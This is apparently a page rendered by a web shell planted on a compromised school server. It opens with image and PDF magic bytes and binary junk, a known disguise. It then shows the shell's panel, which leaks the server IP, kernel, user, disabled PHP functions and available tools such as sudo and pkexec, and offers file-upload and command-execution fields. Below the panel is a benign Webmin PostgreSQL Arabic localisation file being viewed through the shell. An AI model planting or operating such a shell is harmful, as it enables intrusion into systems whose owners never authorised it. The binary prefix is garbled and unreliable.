JFIF     "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777"H !1AQ"2aqB#R3b$Cr4Ss%Tt&c$!1AQ"a#2B ? }XuAo)8^ IƟ`vUp9jY0Ǧ w)E허2jU`SEKw5]kSno!]:?jc\غV7/9N+{t#8zd/޲3F/=ź3GNquV"/4:{z%ۣI'D@ %88^f}VV)S_2ed^Mx"͟?UC62Q%чmO͓ cq0rŖJ\Õ_Sݶ'|G.q޾D U]nP%EF>˲E"d&'f2s6H]4w IS˶4VbaQ+9]XtNx:M0JNxϙ⟟"{nr;|{%vo\z-wc,*|k}-m55o4W9ؓw߱Yzk .=/oϡȴ^9ҧʹamtQԬZ]4?egjrQ}+)MleE]MPEn!`IK2RUEwVIoͷcp;lśe7΄uN ;rПV8|e\׹9Y-V_G.)XԢOv<;_"ڜ]ߙEr݊'K{KuBJ}KI}24|"v)/ʻo5)6-Tjd7.C]Q&lU,Yk1P4~UKZs|$kX6+屷CUq+N(jlGrpG&UB3#k3\9qfg7O8Kim(AJOO~C#e`i0wĦij$cWh<dtQߺ"NOtG+ZǪ]b5%]v5$)u|qZ柡s-rۖu$MKڎCmN_V'/1u,21pvlc>қeNnֺ|bkl=lǷNOʣlz*]»vȎ[)j[fs[]:s#m6Qt6*Q+`};ßj[F_jcv`r#w}|k<ڞ/r53N8>Kh q_-_??@enſEܥ\D\YAEo+ ޟd}IcY7+t{=ɩ>}i\\JfxzVdSzᔢ]Q^CJի\iceitMM5hڦg')^ et#ۯ"ÿfF->4iؤ2ݷ6#p6^-R̫gETj^I.kӽUp~D9[:/>h> \gJ|ۿؘ>ml9jMK =+*2i=0RiͶۗV{"u]IH`9J_˹KƼK$X-|=ve/ bjxw.9i%NqVJcFYKcTtO,F;%67vYb8֝qq0tUt=DvawsS~~Edzr^F-v{c++ݔ\|9Iy #nOavOY=3690Tcrilwa\˓m$?箵S6U c(.~R7suMhqcMOnKoc*ȣȩEd'J ܜk*_q}%M/7c.|;trddbsdcJev85̤iW Ę 8C# .딖e$sk80^\J众2)Nm~|Idj_ O+6ǻ#(MIz4Qo:օY,:q]̌"lK}{F]ζ)h>ʶ ^ue78_G#rqv$wkk[Q c+վ+ĸZΝFB]VzoiJRke&Kgom_7Wef_7,osJɽE%lzBt>mRs)v8'P0ֲtrOg4p_2`GlhYڦDF/ӚKmtm'P2kqU765fJY:y؊.ox%8V_ִ̌ܞjpqwЮQ;iUcNoOoٸcY w*4soӵkqf$?-jy~0{>?DaL8XL/ɞo+'8 {ʸxգj#Dy)wk̘e۩+%}~;ڼ5xek|y-%ڱ-ʜe:EEScÚ5z|r'&I&яF*F7|[nRF =(4ۖ@. n7@xx:N^8Bg%u/ny6&dR{?8U_Q6Z߯-oh.NR]} qi6~H(j7*uF&l&o8ts]/P89:jW*$w׹Ӌ FxpsCJi.7N q4WU_}7*M#qWiصnk'4ݍl*t^ c<'d:~͗enFQRz9v~ddoTZ̚k7X(wUswO̙fոҁՕ[$IAI>WW~ĪEѢNoeutYߑ-Eixιpxq{FnyfRrjqU᫤]>wPU8)Y-7Wbq㛋w:7ܣ].j%K:y4] %9$I%pT(󨪙VqiYٓ4y~5S/XTDZM2lȪ; S~Kx:(Mn0';-{*qV&|W3S+\֔a{R{s=lYmN9Fn&o'}Vi( ?*qV5ѼCNsM饏zߴ$^O69@ ,$y|jE;gW/u|M?3+ZՕN86յw%|QO㏏S\E#ddsgl+Scl3~~CԕQľ?5_ z߿t11OĶ0>oB9E/SOSk+b&Yn>$툧eg) "!܉(1 uBoJ)/t/,:=7M+1ܺ#CmS^Nz 6[u&]+|Dfj:uZ5-Z^TjMtm>cȳ NdT_,M#Ex;pt۴ͮ#!N iKl!zPծ~$1SiO} HI&g Bf)b%Ko̧kumEnص;V?j>nltOMVۆl>.WueYaw2+qK,?uHiqqSM}~gu3xbcWSy/Xc{%sZ]uaUM;7:cb5G97'7þյW,;$ܛyVjl޻y7S;o6gf.Tг[7/i1Z^rE cUF'P1-?%u&q{fw~27ޡ ^w$?SwP[=R3Y73 4x(Kk&rLȫMKn:RjcI?3Al`vض[POĖSYujj6v+-[xҵ=~zNN>\ɲQ/uufo*e6l;31붏.>w6=7#7dFDc%ƶTbd;2/=?Asr! ~ZSS~I"9y]Hn,ĊJ7S}cK"amCg3yP=RQɤW}t;-{F+v+RɔڎB?º{SV묖kۏmK~%.Q;OfEf_Y/F-V-MdD)m.ZՍ8Y*h[g/6ydmCc[rdfʾ䖗gd$^֍^ʅѻL|<[݉\߯RiJUo';œN?B smS ܹkس,mRE^ѣlJ&.ċ԰YO:޼f\Z'HCѯU[ʩ1ff4S-٥YxTIGLiыr }L)edׂ*l|ٚuoxӿnWkTbbVm zT_'"x5Vިxo1ج^Fq6Sd3ws'/ڞ6m?}1OsRGݝ+,~ڬ%^p1ef5c25vq~﹉ă[r-eq] 8+/ESj}?mUE.xYK3"oƔ^Y9I]I ޑ" &*4.Jâ}ټQbXKJ񽼀ncg`+riܭ_'Bֽp%bX'7cB}WPm|zHָLJhj~E>i~Z$297|_hyΕ&s}ZϷ *j]:v.HK<SP8`Pƣ)r ,}8Wk[ArHgn=о7:J]TTP>OOj J_KyB\Ԥrm嬷ȫr{ݙ5R(FRЪ6q}KLmR'eޖz6[YތesYYL5Tr7s\^rؙV͸컬j5d?yk'b S }kra^ߚRH)[sg.fLM\u= vJQ]rVkZuoN}#G?yjO%|i2fKoӰღC P_Ϳ6Zr{e/m$i}9 G2')YG9KY>|1ӫ +v+i;h\Q@˿Lӭn˖ 7ck>Vr.D0)hC<˄4"0[eԬݭe+l2s3ss oX]1r]+VK vI;mZ')R6e5=/i@]H^Z۬՝EW.jƆf{8mXMV~_̝z^VR}T63}}k3+k3:j1Phlpi{欍BȽ}6w73GtUZv>4eUj$ xz$$D/߇ߟI"uk̜aƪ*ke/F:dһ_PE1ݡkp(5ʏ-ɮ{Yllԧg!ܝ g]i-umεŸxOê^=PR ##XeMy%2L~󜺶Hm ݙ2t_ƶz7'\Z4T<"AM-&xaC]a5.huQ۫$cMμ|h;.J.o߸sE-zU{d];|YLSMvSEneNKr1B[]NeonNߪ$4̘FPrkxޱ=0lr7Q%=$KQ;0r*XKdGۃ*]w-npᬶ\tt4>Dc[Ouo3/)-WҴ xs71eԤm*ٖ웗H''.Cnmy]݊Kra[9)Y#2U6d7tf.[R.GdE>#O_.+-K`{KonR_ÕM/)?:F,Xo1ƽRmz8C]lD %(x+d2Ah+\CCLJ!D65x\ȼv)\Nrp*[YُfL*PyVΚuWA K4hyYdwihNIy#ub?4NDϐ'4 :nFe(o%ve@@xl-k%QƭRP&kεMŪ-Ys2u ]T!}8*TQnZ}v =~mԧyDM&8K>2|Bnugܷ.wvCs̼5F^ubES7ݢM&4Ź-~mKx1((sr!M5uy\q)oy|a)ˣ,A?w"T휳2\F}PR-<2%`~4Z5\W"(USkGpT(~Qj>ɰ쏳ǓSKKx's]nEf'.iݙL>Moƹk7ݭ[.г6lk<;?)#E]xFU7'>vF%R;t:Җs}NSBWX=Y8ث}~G)S^^ƽwR[)/Fm-ڞTK~˓Z]U;RQ=M/"NԝP[-Y9t_8V+}P?Ue{M/O&WWKvc#r'KM'p[±vtpRC/W|7K2Rfm;ljm%Z]^T[6}6iTC }L[uxg7(Z}. SRI)jҞzȶ쳢oYRw$ŷ"J\ǭw{u'R taF{;3hHB\RP(*ZQ]y;;k٥nWbGKv-V?NDҞkd9@z LJ}Kc9C*?V-*[*۸-0.|󲝳ߗZK#%_OFGF$kC$[NNJ7Yn[k~Xzc+Sʲuhsw^^4+nElbƮKD,}YLV=i=|p|_=b5mȵ(~,em#Xƥ.sVoEaWXc.lY uG\m';'*\ӆ}|˯UfQBvo}/"zw + qvMrQ[[AdU2ٽCGgjؖS~Ev%9">$_2Sߚ%ѽ7jX(t#21r{̬F]b()?r[Rı)W[O/6]XL9 vuLh-Ȃ9"'7f!Փ䮿Bf}[lag֧]?Pc#D9EmfK7o*})+n!]qIo^FrNVNo!Eƃd#OP?%ۋ(mPu93ۣ{}2&$%cZ߯LҚY);U afԶd,*'6_?B:R~}^̬~mJ+vC}Ѩe"MY+mi :s쥸;iJeYvBddeK|#5/mzR]F2 JHUU )/S{Ic$=: W)>} @0#URsR=w"L{+ɞ)d|*qq2>[nƨDۋ-G[6½J|{Ѿ4MwyG-Σ Ze{ug>2|'zΤ2%xՑ*<Q̥T')uLkjn(zF-JOR}wn~FV5zq2m'^VS=7Y^RdfeO)>EpX붚w*r*w˿^kڴ{J;K۔sRŶU]p\zn@dx6[+yeH[_m_/I&mv|M5&&-G"v۴^{vg8Y(K_~h0e AxfrzڬkhS/Vy1ϯdW3'͹}{'V-:MW(V/ͷ*E7s\EmEW}bUr'k,P{9?B֫ #[uNrB,wo^{fdF(5tRf.2J-/:~ t0M"d_/c^32*q]yLl^2[ݥZc*vtm213r'tSuM-Խ#o/HF+2VEpmǦޟS?Rs+t:u G8n,Ԛf,hY8SX*rKf>+cpruɬ=DMrXgϸ:~ɲ ~]'5'kElw\=ڞAG&')G9R\_̝1K;nPg&T(ի[^Jҟ"qoӸ.W}3mF>'$<\U6-~?x?B~{^xkpv-vlߣe빹j\(ښsuu6lH(qoaYt?x8}Ie '@b%TݲygV.+O9/W4MsCMuFjYzG.{ds.k(>G~K?ni-=R r}r ?s̥%l5Ϛ9IN6~۩RĢWNʾE[|nb.HY—קWkr1ҺշMNDp)^¸R:w;u1 12]T/Uiʹd%2OC2K*r5S]g凫5 UQ.ȫ– /i91njFkQxuJ1rn%XDžy?s˗վuMGƋ/m^J*RsF))uF,'l{=|nFm9:N\%u#tnXE->e2Y0PũjUȨEŭ|'eʹ[o{Ցms%CGg/}t|snzrvm\g}cÊ94Pvg'L}ّg궮ԱߢO^f.W-sT]M˔ېе<^Н'KuNn_Vl8*Kж^ xsuW51-ᅱFzƉT-kY/9wzDޯ/XlW)gypǚjDɨ~{ݤHCim.[>rqE_Uرx/>|L64%aj;fxӱF(K֓J9՞ -K> I_5Enn´&=Oc%o̟IJZF$۲5I9Wݚ n.WTuѲӏ[4U/9.2zX5\j3ĎEsMq4%9.d[7јc9eNa+sjE';%s#ɤ`ףS=WI쫢.Mv:j/[3:rTF_zt:.z%udW%]xܮVz$Vŗ49[^y.խN~M&mx+wGR~_4KC[ʻ:v>03߶v9x-Mȧ$c:lrCWjeg%ֹ_Nh՝Qɏj^ϛr^.>WhlE5yֵ6\W^确]*гc&^NI[oCDn.ߑ!,m&M_/'Mn$s\r^8|uSZZ1|LV<(zq׮xmٚZƏ%.Ԁs^2𱸒O#&,s[mײ9kޖCoSq&俙qxP.N] 2UǎsM2iN.f r[mcQZmFُE{#[TbҔ*sfaSrn^8N<\_'MarJ6 EQғ|F[S'[~q~kmn[_x?B f5Q١X=g(~[Cx}GO ĺo'e)~dq(Ot`sN=~heu ::m'Cjj>~5V柙cyQD%uqEc{[l^U O]b~eŦۑ'W3&' 2V.^D%G S6\wYNO$. O+^ŵG~haEs^=1*bICzFF4O#,Wu3허ekB\I'tWMߩOG3iFz{rgeM9g r] i3gk&u1r/1kVgR-ɿuF .^;3;?3큦bN̂r4ovMkڞ}[:,IVG<};*-2",>K%bK2Ƨ[w!)ˤ;d?4%Ul2ږec4#ōIw^R_/TFX+*FM[F|a'ߚ2SIMeVGn ~&Y Ym(?ԛ],=|сG4yjk"Q^~ԗ^c,qqrg^-:Uc[E8>>k|nS..LBIc>3i|ZEZXAqm nuOm<; X~mrK=~ ƱrSN<U!F΋WS/|t?K)zd} ,C"ovx?bբs3mX3桭X֖˦kFddhg}$ggSo5jL*NdJis$ EQ\v=0HxzyW~FT_Ƶccg,&=_V(%kq+_÷O'[_[Uڽv F $Ξ9n5EN/4Yy/%*} .jΔ`V_6\VͲohzfOgޯzpj}y}v:34WH;+x7ӻu<ݦ"mJ/=>eoD֣c4kXW-[}٬6;t[Na_• _5i5˗sٴ]+e;Joj㼶ۙyLumo5&F)F\ {(sm_M>gzcr)KU̠Ħ=VDd'h;-aŤ9KٰqQܫަazMp4bk9 UX.ͮ]KeS5Uq[¹X0ɦ6]roFjʧ2׏6/C6eQE5KӰmsFnIz&`z팡-ٯ.ixyك?c2//z6M4W[]_"?Õ[? Vfvӳq]I5(d|MʝzcC*mN>B2gD+><e:Gh %UkW%zJ8k_ˠ=KFRfw{sŖ^q\/{v[Ω}gLjT[t_ޕg6G~rkkMcSRKբ54?SAûO1o%[>5/R~CioNdNʛćh>f6H8c/<1xd[ŦCEk.9"ej?w&O6^ژR[vrQ.z㎩f6:V8}hi2z~ s-w]+|I9s_C~>-S&9ZFVLf7-d'pՠplJ#mm؎s(?Ʋ?/A%_sXuGNnR}_dq>1ʍ|У3]NXYZʷ/&ܛ彖LS? 6]"_t5qP5Kq]^m91jW暹U6-5WU澦M0˵f2ӪǮ.P~? _nEJTcTei)ٳrۣ%x %gs}7l9'tb~dXst# r?}Weaq>=+to)7،E*vn\e_,\NFxcivz]tM˼?Oԝ2Zrλs-ĺEtonIIfm/9^[^EBUjOnr6vI& l]%0")2䒶-+R*zyX<> -X9GUo^xYQ8ιvixٔa\t)hv}ьոVU~tK,=_wLLa?TYIo]$`N6cbi?#7;MRt<.~Q-mob\\g5췍 ڌ_?8nfJN/Y͢n3?_sϩ{HiְPo'yS??_jߡWi5q? MWȲ)8a]lLˏ--b[TXlΫRy;o5뜾$HW.mm?շG[Ƀ seo5Q}Le%*،«~uU{R$t\^%!weX:G('6WupTS&~8=jo?2_PϖE[nf6Tٯ;GLW)NM[o*\j%.gb|䭹noOX:1R)UTj74˓]D_bʝkzNI.9|^G`KeQ{mOjX/sR7evdgi7qm}ތW&4=~|YY)?7Oj}xXkF×4c.l?i|b[5Ή5j-[Y\z<茲Z$Ff&o;gErǩݦ̪/q[&[/9uuzi;PS^_/?]=ΕqK~ӛ5'NM[m_Ϲc'[oӯE#g߂vvGNRo϶o5Ǩ[ɉtov2~i<7iSȜN(G5+/ٛMTܣukj鷣/$1˒!Mxr\ߤs1ZuMQȌ^]c$CXrj#N/˦Ķ9]Nzê5zi;W,v!ŧD6zğ7uR5^MW}>igl2U2nXo{}_w]&vte\Z3 MEEe/ 2s㗼S_bIղTI}|[Ye/c]*̪9u/DmyNxSDgi `Z?.RFj۪'~.[KVb޺o濡to?E#[.^y=q4F8ڎ/GX\.YW!Z.ѕtt:?gYYyU%Uw~ri>ȦKhg,5/=>V?TrN4aWO,oӕ7-SRi*"dܽpuaVQÞd-#J2Nr:#``ѧWR-F?I-T -cOT2pr?þזgE\Ij~L9%EMoџUؙt8_eYΧWjU}e9y9z/#TT-2dLt3H=ڼcKb'"uIٓ'[[߱F~\2]r%C]^VCLjm[cJNryf}ջ.[DEoRՒb'>fVy_c6[K4Na5>{ɳaw/Uj.Զ_K~?IeJ7OQx3IgFc*جɊǽ-o3Ӭp / ]7V*ENܜ[r/tOJΉw*ʨ*JFN^.WZeLgUwKi/M9y8dkOᛊHxGĶM*&#h/U|6D(uFyE5hYxiSEVm^D|,ۿCj;<*ouOkYpΔ2{x-L] !k2ا#IM'a7:M}M1Y儭Mnk[/;4Uwkkɫ%aɔoXVV$m;2Z4i9:>\Yů= ?[{t6,~!c`Un+dW.gKyIB]l+3kض(\MZ\}>k\C~閹l[ů]VNtƸr몮X+U>v'nv{y7s[г̭9Ctvt% GqT8=wa(6\Rd柮YWv^Fd^\+緉,+=-^S"k:NVu o[_TIѝ椯bF/G㿏dΙ?T}K-T)W>s?3M)V*,;P\,}B u{rDexڥVFfw}47׋w}]Դ 1dmk1V%/'T:Fǒ_TEe[l/l/ٯc{Ƀ[~`zj⾥r}Vܪ{M8Qv]$mU]8J2MngcxY?鑞.9HjxSy.fS(|]MgcK2$(jRQ3XO|<f:Jq4& fw|$N )A8ת99 mFNM*Dϒ NoIa9i9y?:D⻧߇\7ɧ]mu"-˥5/w̨_ 7DK['[2"(%xzT\*GT"+<,yX.lEJrfo?.4N;l>jmZߣ5FdB3\r,t,./S]Q{tm5lӕT~A [fv7Iہc: ΪN7I]2(|o$NLW"#~Dͭ=v-Mv{-lqn{I3xn'6.=DƟܖަ~deQV;k2Ei\[bӴ1_]OhZl朠&t3xkei+c\'ZԪ'hK梿X@cTԫ#emIz6e^i?8 NBc̆f+MׇdC]YSd%lώ8-c7eι/}_con/no\핍~[WNReXMo+اn ?#Ͷ-AUFN1V4!y,{1a$S﹑;Ǚr"__[o) xk}7EI/riwؙ7mR}`|yrEVdo/B# uٳiNQKQkᑑ^d@/=ˑɒ768fsuor9=7ףܹճpMr-$1uySOZN?đrqզ9F q=.!T?ػ bf{¯q=$^:!ES߿ Fu\OS,8e^UוS^hF4BQƺȪw-kF39@X06 Fv=Q^|ƞ5}2tnmG_|Λ(|%](-5>KȁN$=6lq).12 V6m$ׇlOcҫܸ K{;ľ>+Q?Rx-Keu uMy$i B}G*h$Q -W[-&a"[i\}~Ek$<~c{MffS eS.#\^lMiytު]9S{u4 {DFޅSź}R ]R$y;r/P̙3niXMt;&!rxw\ZFmQ"w\L{^۔K&/gr:m=2%5bwE"^e[\$ɟPi!U_rdS2d?=[!(I.rC QZEim%}|YmzZ_ά<ۡLQM|` ybPȏ}?]Eu[`kҫgFb~F}Q8NP>5lӳ^-K%Q}$sx7SvnfTƸ|Kzd'_ⰽח$4L Y?qy32t j2e ȜrJ{mبhۍUU'p#8y'ѝ=i+Tĩo7WYyČkL5؝M=%"Nt}eXW)N.~sv5pɮ sSQ[+-/}kVk'FEɩ9SE&T=&\緵 --tf.9Ѳ4_##_ɱTFV؞~YTddS&s=䟚Fb1._5}~gM'p#,U hs--XG wtԹTi7M:GYK5'^W?C>_Gq/S&d| k_gO ӊiJeHU G_ Êg#),}-:5>V1emq}t}q?meKU:BqJeiPɗ#\$sI} Z生ƫoo=V=pVcUg"%wEm叡vIdhrȔ~F]p58_.,O|'Ɇ^L!c6OWӷ{x9?Fp?ceOuT+Uɵݹ&gx9i퓃sxGIm}_3Īr#:ԣ?4בc[jö#B7KʌWNo)=+c }YvP{lv^r+5Vxx_:~=̌Q}CTy+Wh鸚f$101뢊F[#--Y\i@l)W8/E>8nlj/ktOľ,q*[sE[]:?ZeQvŔɺ|j(Wx,LW=:S?κq%81c)jJvODLiW,{96vr-2}-EH,}%3k#l5gl~x__W Sڎ 8YJQvA=QIWju6-X9$kWЩCI4UWd'&O/Cf=Pi/#+>n$KYst܅y4ʷD^~%~myj,s_4Q}΍Cή;SW:h=Ff{.B/inȇo=-T͸OY2}hlK}.m7-z?,f-/^b\QWs/_͔/3In[6M;l ygؼ!WUË_)D9YL4_>f}ϵ3hV5Oѣ(l8?L4蹥[-Э=7V{&ʢPʼ*3cMz>u4@[oM gKS[jy"Lھzɵfx)GE`ֿ.=kJ>/iˢ[j-qץQC B@o V(ʯG?Bܻ\I>=K-].(vOE.5׮=/Pf^&$caY9{3މ%YOxZ~6Z;;ԗ.NJzş/YϖĜ%ѿO^tY$ν4|e}2ɶU9A؜h˺LrIm%J.|I]kG|DzU k4'(T\9߱^!z -:mW^ <= <^2*;Seq(6ªsHf5ʸO{Ilr~G uJY^k5X_y;5'59O@ƣ̶>pnCOvNwX4oUUf]Џe%MV9Xm9]x'Q=82z)c/~1\~LSow>ﺍƻUql~Sqo羘sk}VjG71kYؽ]b4qnMӡ; w@̇IL㿗[43)]=v*)EH'a񖳋ҎTkxuXGK& ZIR(M8?:ixJp-dmckpu*%N^-7E3='ceE&';_J'Mw𶥏Y9+d9+>!e_Sn|VX -TZu]Ģ/6\ckr /ޗ/z[y.N:*k$ }Yǭ}GUm^-%dm;K_#ctBsg2:8rz-VE|T w.}w9NEPGnoCe8/&3qT}MJ̙Mۗ~哳,-WI_Bsh+~͛vN{ZdYKݲkr%+lo*re-ه?:vYqFfCsqMXRķ{yqgrx.oǓ\xdڗ_ZC9WomX|KmV_%UJܷr$drȳL~MoKyYLic Jq<1$UuٯTד374s<ĕ96춉r9 pGc9=p^:)ZJb&VӝXٽ 0/X& ۳*_ԙƏ.5J 6<$$6B0d_d?hqd>XCe- wO@pg:.>$.Ϣ~L޲|,{-ɪ2.u/Ds-[ُiVIWK5M#Fܭ3?x.)ۣ,wJ)Ȳڣ-#fbdq&Tͧ8Q,YqQ)/R­?\k˔[p_+ogzP[6r^o}_kT}JiJ;<ivEH8wI@MOPʊ\#+$%PDF-1.7 GIF89;
ANDA PELER
Server IP : 182.253.108.180  /  Your IP : 3.15.182.217
Web Server : Apache
System : Linux sma1wiradesa.sch.id 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : wijaya ( 1017)
PHP Version : 7.3.33-10+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/usermin/postgresql/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/usermin/postgresql/lang/ar.auto
index_title=خادم قاعدة بيانات PostgreSQL
index_notrun=PostgreSQL ليست قيد التشغيل على نظامك - تعذر استرداد قائمة قاعدة البيانات.
index_start=قم بتشغيل خادم PostgreSQL
index_startmsg2=انقر فوق هذا الزر لبدء خادم قاعدة بيانات PostgreSQL على نظامك. لا يمكن لهذه الوحدة النمطية Webmin إدارة قاعدة البيانات حتى يتم تشغيلها.
index_nopass=يحتاج Webmin إلى معرفة اسم تسجيل الدخول وكلمة المرور لإدارة PostgreSQL لإدارة قاعدة بياناتك. الرجاء إدخال اسم المستخدم وكلمة المرور الخاصين بالإدارة أدناه.
index_nouser=تم تكوين حساب Webmin الخاص بك للاتصال بخادم PostgreSQL كمستخدم$1 ، ولكن تم رفض وصول هذا المستخدم.
index_ltitle=تسجيل دخول PostgreSQL
index_sameunix=هل تريد الاتصال بنفس مستخدم Unix؟
index_login=تسجيل الدخول
index_pass=كلمه السر
index_clear=واضح
index_stop=قم بإيقاف خادم PostgreSQL
index_stopmsg=انقر فوق هذا الزر لإيقاف خادم قاعدة بيانات PostgreSQL على نظامك. سيمنع هذا أي مستخدمين أو برامج من الوصول إلى قاعدة البيانات ، بما في ذلك وحدة Webmin هذه.
index_dbs=قواعد بيانات PostgreSQL
index_add=إنشاء قاعدة بيانات جديدة.
index_users=المستخدم والمجموعات والأذونات
index_return=قائمة قاعدة البيانات
index_esql=لم يتم العثور على برنامج عميل PostgreSQL $1 على نظامك. ربما لم يتم تثبيت PostgreSQL أو أن <a href='$2'>تكوين الوحدة النمطية</a> الخاص بك غير صحيح.

index_ehba=لم يتم العثور على ملف تكوين مضيف PostgreSQL $1 على نظامك. ربما لم تتم تهيئة PostgreSQL ، أو أن <a href='$2'>تهيئة الوحدة النمطية</a> غير صحيحة.
index_superuser=تعذر تنفيذ برنامج عميل PostgreSQL psql على نظامك. ربما لم يتم تثبيت PostgreSQL ، أو أن <a href='$1'>تكوين الوحدة النمطية</a> الخاص بك غير صحيح.
index_eversion=قاعدة بيانات PostgreSQL على نظامك هي الإصدار$1 ، ولكن Webmin يدعم الإصدارات $2 والإصدارات الأحدث فقط.
index_elibrary=تعذر تشغيل برنامج عميل PostgreSQL $1 لأنه لم يتمكن من العثور على مكتبات Postgres المشتركة. تحقق من <a href='$2'>تهيئة الوحدة النمطية</a> وتأكد من تعيين <i>المسار إلى مكتبات PostgreSQL المشتركة</i>.
index_ldpath=تم تعيين مسار المكتبة المشتركة الخاصة بك إلى$1 ، وكان الإخراج من$2 :
index_version=إصدار PostgreSQL$1
index_setup=لم يتم العثور على ملف تكوين مضيف PostgreSQL $1 على نظامك ، مما يشير إلى أنه لم تتم تهيئة قاعدة البيانات بعد. انقر فوق الزر أدناه لإعداد PostgreSQL.
index_setupok=تهيئة قاعدة البيانات
index_nomod=تحذير: لم يتم تثبيت الوحدة النمطية Perl $1 على نظامك ، لذا لن تتمكن Webmin من الوصول بشكل موثوق إلى قاعدة بيانات PostgreSQL. <a href='$2'>انقر هنا</a> لتثبيته الآن.
index_nomods=تحذير: لم يتم تثبيت وحدتي Perl $1 و$2 على نظامك ، لذا لن تتمكن Webmin من الوصول بشكل موثوق إلى قاعدة بيانات PostgreSQL. <a href='$3'>انقر هنا</a> لتثبيتها الآن.
index_nodbs=ليس لديك حق الوصول إلى أي قواعد بيانات.
index_nodbs3=لا توجد قواعد بيانات PostgreSQL تطابق بحثك.
index_backup=قواعد البيانات الاحتياطية
index_backupmsg=انقر فوق هذا الزر لإعداد النسخ الاحتياطي لجميع قواعد بيانات PostgreSQL ، إما على الفور أو وفقًا لجدول تم تكوينه.
index_sch=(مع المخططات)
index_db=اسم قاعدة البيانات
index_tables=الجداول
index_drops=إسقاط قواعد البيانات المحددة
index_postgresql=PostgreSQL
index_toomany=هناك العديد من قواعد البيانات لعرضها. البحث عن قواعد البيانات المطابقة:
index_search=بحث
index_showing=عرض قواعد البيانات المطابقة$1 ..
index_emsg=كانت رسالة خطأ PostgreSQL الكاملة هي :$1
index_hostdesc=انقر فوق هذا الزر لتحرير قائمة المضيفين وطرق المصادقة المسموح بها للاتصال بـ PostgreSQL.
index_using=طريقة الوصول
index_btree=BTREE
index_rtree=RTREE
index_hash=هاش
index_gist=شجرة بحث الفهرس المعممة
index_jump=أو تحرير قاعدة البيانات:
index_jumpok=افتح
index_edithosts=تكوين أنظمة المضيف المسموح بها

login_err=فشل تسجيل الدخول
login_ecannot=غير مسموح لك بتكوين تسجيل دخول قاعدة البيانات
login_elogin=تسجيل دخول الإدارة مفقود
login_epass=اسم مستخدم أو كلمة مرور للإدارة غير صحيحة

dbase_title=تحرير قاعدة البيانات
dbase_noconn=لا تقبل قاعدة البيانات هذه الاتصالات حاليًا ، لذلك لا يمكن تنفيذ أي إجراءات فيها.
dbase_header=جداول قاعدة البيانات والفهارس ووجهات النظر والتسلسل
dbase_tables=جداول قاعدة البيانات
dbase_add=اصنع جدول
dbase_vadd=إنشاء عرض
dbase_sadd=إنشاء تسلسل
dbase_drop=إسقاط قاعدة البيانات
dbase_exec=تنفيذ SQL
dbase_none=لا تحتوي قاعدة البيانات هذه على جداول أو فهارس أو طرق عرض أو تسلسلات.
dbase_fields=مجالات:
dbase_return=قائمة الجدول
dbase_ecannot=لا يسمح لك بتحرير قاعدة البيانات هذه
dbase_table=جدول أو عرض أو فهرس
dbase_rows=الصفوف
dbase_cols=مجالات
dbase_delete=إسقاط الكائنات المحددة
dbase_showing=عرض الكائنات المطابقة لـ$1 ..
dbase_toomany=هناك العديد من الكائنات لعرضها. البحث عن كائنات مطابقة:
dbase_index=فهرس
dbase_view=رأي
dbase_seq=تسلسل
dbase_jump=تحرير الجدول:
dbase_vjump=تحرير عرض:
dbase_ijump=تحرير الفهرس:
dbase_sjump=تحرير التسلسل:

table_title=تحرير الجدول
table_title2=اصنع جدول
table_opts=خيارات المجال
table_header=الجدول$1 في قاعدة البيانات$2
table_field=اسم الحقل
table_type=اكتب
table_null=السماح بالقيم الخالية؟
table_arr=مجموعة مصفوفة؟
table_none=لا يوجد
table_add=أضف حقل من النوع:
table_return=قائمة الحقول
table_data=عرض البيانات
table_drop=إسقاط الجدول
table_name=اسم الطاولة
table_initial=الحقول الأولية
table_header2=خيارات الجدول الجديدة
table_err=فشل إنشاء الجدول
table_ename=اسم الجدول مفقود أو غير صالح
table_efield=إن '$1' ليس اسم حقل صالحًا
table_etype=نوع مفقود للحقل$1
table_esize=حجم نوع مفقود للحقل$1
table_enone=لم يتم إدخال الحقول الأولية
table_fielddrop=إسقاط الحقل
table_eblob=لا يلزم حجم لحقل BLOB$1
table_csv=تصدير كملف CSV
table_index=إنشاء فهرس
table_delete=حذف الحقول المحددة

field_title1=إضافة حقل
field_title2=تعديل الحقل
field_in=في الجدول$1 في قاعدة البيانات$2
field_header=معلمات المجال
field_name=اسم الحقل
field_type=نوع البيانات
field_size=عرض النوع
field_none=لا يوجد
field_null=السماح بالقيم الخالية؟
field_arr=حقل صفيف؟
field_key=المفتاح الأساسي؟
field_uniq=فريد؟
field_err2=فشل في حفظ الحقل
field_err1=فشل حذف الحقل
field_esize=إن '$1' ليس حجم حقل صالحًا
field_eenum=لم يتم إدخال قيم تعداد
field_efield=إن '$1' ليس اسم حقل صالحًا
field_ekey=لا يمكن أن تكون الحقول التي تسمح بالقيم الخالية جزءًا من المفتاح الأساسي

exec_title=تنفيذ SQL
exec_header=أدخل أمر SQL للتنفيذ في قاعدة البيانات $1 ..
exec_old=أو حدد أمر SQL سابق :
exec_exec=نفذ - اعدم
exec_clear=تاريخ واضح
exec_err=فشل في تنفيذ SQL
exec_out=إخراج من أمر SQL $1 ..
exec_none=لم يتم إرجاع أي بيانات
exec_header2=حدد ملف أوامر SQL ليتم تنفيذه على قاعدة البيانات $1 ..
exec_file=من ملف محلي
exec_upload=من الملف الذي تم تحميله
exec_eupload=لم يتم تحديد ملف للتحميل
exec_efile=الملف المحلي غير موجود أو لا يمكن قراءته
exec_uploadout=الإخراج من أوامر SQL المحملة ..
exec_fileout=إخراج من أوامر SQL في الملف$1 ..
exec_noout=لم يتم إنشاء إخراج
exec_import=جدول لاستيراد البيانات إلى
